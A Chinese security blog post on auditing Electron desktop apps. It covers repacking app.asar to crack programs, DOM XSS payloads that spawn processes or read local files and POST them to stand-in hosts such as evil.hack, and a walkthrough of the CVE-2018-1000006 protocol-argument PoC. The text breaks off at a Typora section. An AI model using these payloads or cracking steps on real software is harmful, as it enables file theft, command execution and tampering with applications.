• electron审计及攻击链研究


    0x00 前言

    electron是一个流行的桌面应用开发框架,允许开发者使用web技术和nodejs结合来迅速开发桌面应用. 不过由于使用了js等, 也引入了xss漏洞,通常如果能在electron应用发现xss就可以rce。

    0x01逆向

    “ asar ”文件是“带有索引的简单的类似tar的广泛存档格式”,Electron提供了一个npm软件包来管理这些文件(打包/提取)。但是,此文件未以任何方式进行加密,混淆或保护。攻击者可以对这些文件进行任何修改,然后重新打包文件而无需修改实际可执行文件的签名。此外,这种攻击在所有操作系统上均有效。

    Electron跨平台程序破解

    Electron封装的跨平台程序破解的一般思路:

    • 安装npm(至于如何安装,网上教程很多,不赘述)
    • 安装好npm后执行命令安装asar:npm install asar -g
    • 以macOS平台为例,在Prepros.app/Contents/Resources下找到app.asar,其他平台方法类似
    • 用asar命令解包:asar e app.asar tmp
    • 到步骤4中建立的tmp目录下找到对应的js文件hack之。
    • 破解完后重新封装程序 :asar p tmp/ app.asar,破解完成。

    这里有时候会遇到个坑就是:不能把文件叫取名为tmp,必须是app,文件夹名使用tmp后重新封装出现40g的情况,tmp重新封装会出现文件无法打包的问题

    所以正确的方法是

    • 安装npm(至于如何安装,网上教程很多,不赘述)
    • 安装好npm后执行命令安装asar:npm install asar -g
    • C:UsersyonghuAppDataLocalPrograms* esources下找到app.asar
    • 用asar命令解包:asar e app.asar app
    • 到步骤4中建立的app目录下找到对应的rendderer.js文修改
    • 破解完后重新封装程序 :asar p app/ app.asar,破解完成。

    0x02 审计思路

    各个目录的目录结构不一定,但都有一个主文件 如 main.js. 在这里处理应用的启动

    在最简单的应用版本中,一个Electron文件包含下面三个文件:index.jsindex.htmlpackage.json

    我们检查的第一个目标是package.json,其中包含了所有应用入口点的对应文件路径:

    {
      "name": "Example App",
      "description": "Core App",
      "main": "app/index.js",
      "private": true,
    }
    

    如上例子,入口点是位于app文件夹中名为index.js的文件,该文件将会作为主进程执行。如果没有特别的指定,index.js是默认的主文件。文件index.html和其他的web资源被用在渲染进程中,用来展示真实的内容给用户。一个新的渲染进程(renderer process)在主进程(main process)实例化每一个browserWindow时被创建。

    自定义url协议

    electron应用可以注册自己的url 协议 例如custom://, 使得可以通过浏览器直接打开应用. 这里对url协议的处理不当可能导致rce等 例子.

    注册url的代码例子如下

    const protocol = electron.protocol
    
    // handles links `todo2://<something>`
    const PROTOCOL_PREFIX = 'todo2'
    
    function createWindow () {
      mainWindow = new BrowserWindow({ 1000, height: 800})
      // handle url protocol
      protocol.registerHttpProtocol(PROTOCOL_PREFIX, (req, cb) => {
        const fullUrl = formFullTodoUrl(req.url)
        devToolsLog('full url to open ' + fullUrl)
        mainWindow.loadURL(fullUrl)
      })
    }
    

    domxss

    Electron 中的 DOM 操作必须更精细,严格转义是必要的。(渲染进程中可以使用 Node 函数) 基于这个特性,攻击者可以在此之中插入 Node 函数用于攻击, 比如,这是一个普通的 XSS 实例:

    // xss_source 是攻击者可以控制的字符串
    elm.innerHTML = xss_source; // XSS!
    

    攻击者可以以下面的方式利用:

    // 弹计算器
    <img src=# onerror="require('child_process').exec('calc.exe',null);">
    // 读取本地文件并发送
    <img src=# onerror="let s = require('fs').readFileSync('/etc/passwd','utf-8');
    fetch('http://evil.hack/', { method:'POST', body:s });">
    
    lectron 的架构问题
    • 浏览器窗口默认支持加载file://
    • 并没有与普通浏览器一般的地址栏
    本地文件信息窃取

    我们发现在默认情况下,Node 语句是可用的。 但是,如果开发者禁用了 Node 语句:

    // main.js 节选
    win = new BrowserWindow({ webPreferences:{nodeIntegration:false} });
    win.loadURL(`file://${__dirname}/index.html`);
    

    这种情况下,我们注入的 Node 语句不生效,可造成的威胁降低了。 看起来,在创建 BrowserWindow 的时候禁用 Node 语句是必要的。 但是,如果 Node 语句被禁用,Electron 会变得很鸡肋。

    如果开发者执意禁止 Node 语句,我们依然不是无计可施的。 以刚刚的 main.js 为例,我们可以通过xhr来做更多的事情。

    var xhr = new XMLHttpRequest();
    xhr.open("GET", "file://c:/file.txt", true);
    xhr.onload = () => {
      fetch("http://eveil.hack/",{method:"POST", body:xhr.responseText});
    };
    xhr.send( null );
    

    通过上面的代码,我们可以读取本地文件并将其发送出去。 这使得开发者在牺牲 Electron 的实用性禁用 Node 语句后, XSS 依旧十分强大。

    0x03 实战案列

    CVE-2018-1000006:Electron远程代码执行漏洞

    影响范围

    Electron < 1.8.2-beta.4、1.7.11、1.6.16 的版本

    漏洞环境搭建

    先把环境搭建出来,将存在漏洞的Electron 1.7.10压缩包下载至本地,双击electron.exe运行。(实现环境下直接将写的代码用鼠标拖至Electron窗体里即可运行。)

    img

    确认项目没有问题后,即可进行后续的漏洞分析工作。

    PoC的构造

    通过漏洞公告可以知道,漏洞存在于app.setAsDefaultProtocolClient()方法。

    昨天捅咕了半天,没啥进展,今天先知上有大佬发了分析文章(Electron < v1.8.2-beta.4 远程命令执行漏洞-【CVE-2018-1000006】),学习一发,PoC采用原作者提供的。

    将存在漏洞的项目拖至electron.exe窗体中即可运行。

    img

    img

    PoC(from CHYbeta/CVE-2018-1000006-DEMO):

    <html>
    <head>
    	POC for CVE-2018-1000006
    </head>
    <body>
     <a class="protocol" href='chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc'><h3>payload: chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc</h3></a>
    </body>
    </html>
    

    img

    点击超链接,则会触发这个RCE,实现命令执行。

    原理浅析

    由官方的漏洞公告可知,该漏洞存在位置app.setAsDefaultProtocolClient(),在仓库中全局搜索SetAsDefaultProtocolClient(electron/electron),由于该漏洞仅影响Windows系统,则关注下browser_win.cc#L212(https://github.com/electron/electron/blob/6bc7c8cc496a2bd899b2511de39f8fa1b0d7147c/atom/browser/browser_win.cc#L212),该函数的主要的功能是实现注册表键值的注册。

    bool Browser::SetAsDefaultProtocolClient(const std::string& protocol,
                                           mate::Arguments* args) {
     // HKEY_CLASSES_ROOT
     //    $PROTOCOL
     //       (Default) = "URL:$NAME"
     //       URL Protocol = ""
     //       shell
     //          open
     //             command
     //                (Default) = "$COMMAND" "%1"
     //
     // However, the "HKEY_CLASSES_ROOT" key can only be written by the
     // Administrator user. So, we instead write to "HKEY_CURRENT_USER
     // SoftwareClasses", which is inherited by "HKEY_CLASSES_ROOT"
     // anyway, and can be written by unprivileged users.
    
     if (protocol.empty())
       return false;
    
     base::string16 exe;
     if (!GetProtocolLaunchPath(args, &exe))
       return false;
    
     // Main Registry Key
     HKEY root = HKEY_CURRENT_USER;
     base::string16 keyPath = base::UTF8ToUTF16("Software\Classes\" + protocol);
     base::string16 urlDecl = base::UTF8ToUTF16("URL:" + protocol);
    
     // Command Key
     base::string16 cmdPath = keyPath + L"\shell\open\command";
    
     // Write information to registry
     base::win::RegKey key(root, keyPath.c_str(), KEY_ALL_ACCESS);
     if (FAILED(key.WriteValue(L"URL Protocol", L"")) ||
         FAILED(key.WriteValue(L"", urlDecl.c_str())))
       return false;
    
     base::win::RegKey commandKey(root, cmdPath.c_str(), KEY_ALL_ACCESS);
     if (FAILED(commandKey.WriteValue(L"", exe.c_str())))
       return false;
    
     return true;
    }
    

    通过运行regedit打开注册表编辑器可以看到

    img

    运行PoC,点击构造好的超链接(payload),注册表中的%1则会替换为payload,

    chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc
    

    payload中的双引号闭合掉前面的双引号,最后形成如下所示命令

    elec_rce.exe "chybeta://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc"
    

    通过第3个参数带入Chromium实现命令执行:--renderer-cmd-prefix=cmd.exe /c start calc

    缕一下攻击场景和完整的利用思路:

    0、程序开发时调用了存在漏洞的函数,实现用户自定义协议的注册,拿我这个来说注册了test协议,那当用户访问test协议下的资源时,就会启动该程序访问(test://xxx)

    app.setAsDefaultProtocolClient('test')
    

    1、程序启动时会在注册表中注册键值(%1是占位符,用于接收用户输入的参数)

    "E:elec_rce.exe" "%1"
    

    2、执行PoC时,通过刚刚程序注册的test://自定义协议触发

    test://?" "--no-sandbox" "--renderer-cmd-prefix=cmd.exe /c start calc

    3、payload带入占位符%1,同时闭合双引号,通过后续的参数--renderer-cmd-prefix,传递至Chromium,实现命令执行

    如何在Typora编辑器上实现远程命令执行

    我们知道,针对Electron应用,大部分时候我们只要找到了XSS漏洞,也就约等于完成了命令执行。所以,我们祭出祖传的XSS payload一顿打,惊喜发现没有任何弹窗。通过简单研究我们发现,Typora作者在研发的时候采用了cure53的DOMPurify过滤了预览输出的html,缓解了大部分的XSS攻击。

    那这个编辑器就没有漏洞了吗?

    当然是不可能的。Kein System ist sicher.

    有人可能会想到一个神奇的标签

  • 相关阅读:
    二叉树逻辑结构重点
    循环链表
    数据结构 单链表
    《深入理解计算机系统》第7章:重定位PC相对引用的理解
    一个关于空指针的思考
    简单解决python安装中的Unable to find vcvarsall.bat问题
    解决python本地离线安装requests问题
    使用共享内存和信号量模拟实现多进程会话
    使用openssl演练数字签名
    简单了解C语言内嵌汇编
  • 原文地址:https://www.cnblogs.com/Mang0/p/13269450.html
Copyright © 2020-2023  润新知